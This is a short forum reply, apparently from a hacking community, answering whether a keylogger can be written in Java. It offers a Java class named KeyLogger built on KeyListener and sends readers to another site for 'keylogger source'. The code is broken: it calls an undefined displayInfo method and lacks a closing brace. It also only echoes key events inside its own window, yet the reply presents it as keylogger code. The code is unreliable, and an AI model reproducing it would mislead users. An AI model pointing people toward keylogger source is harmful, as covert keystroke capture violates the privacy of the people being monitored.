From what I know, its IS possible with Java. I wouldn't recommend programming a Java key-logger tho due to limitations and stability. Not sure about PASCAL.
I did some research and found a thread on another forum, here is what I found:
1. implement KeyListener in a class
2. add the methods: keyTyped(KeyEvent e), keyPressed(KeyEvent e), KeyReleased(KeyEvent e), Display(KeyEvent e, String status)
here is the code:
Code:
public class KeyLogger implements KeyListener {
/** Handle the key typed event from the text field. */
public void keyTyped(KeyEvent e) {
displayInfo(e, "KEY TYPED: ");
}
/** Handle the key-pressed event from the text field. */
public void keyPressed(KeyEvent e) {
displayInfo(e, "KEY PRESSED: ");
}
/** Handle the key-released event from the text field. */
public void keyReleased(KeyEvent e) {
display(e, "KEY RELEASED: ");
}
private void display(KeyEvent e, String keyStatus){
//You should only rely on the key char if the event
//is a key typed event.
int id = e.getID();
String keyString;
if (id == KeyEvent.KEY_TYPED) {
char c = e.getKeyChar();
keyString = "key character = '" + c + "'";
} else {
int keyCode = e.getKeyCode();
keyString = "key code = " + keyCode+ " ("+ KeyEvent.getKeyText(keyCode)+ ")";
}//end of if
System.out.println(keyString);
}//end of display
Source:
http://forum.codecall.net/topic/59389-ho...r-in-java/
Regarding a keylogger source, you can try searching HC for "keylogger source", I'm sure you will find something.
-edit
@
Ex094 beat me too it.